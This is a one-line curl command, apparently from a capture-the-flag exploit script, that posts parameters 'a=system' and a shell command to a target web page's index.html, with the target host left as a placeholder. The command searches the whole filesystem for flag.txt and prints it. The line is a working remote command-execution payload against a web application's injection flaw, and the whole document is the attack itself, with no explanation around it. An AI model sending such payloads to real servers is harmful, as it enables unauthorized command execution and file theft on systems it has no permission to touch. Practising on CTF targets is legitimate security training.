curl http://%1/index.html -X POST -d"a=system&b=find / -name flag.txt -exec cat {} \;"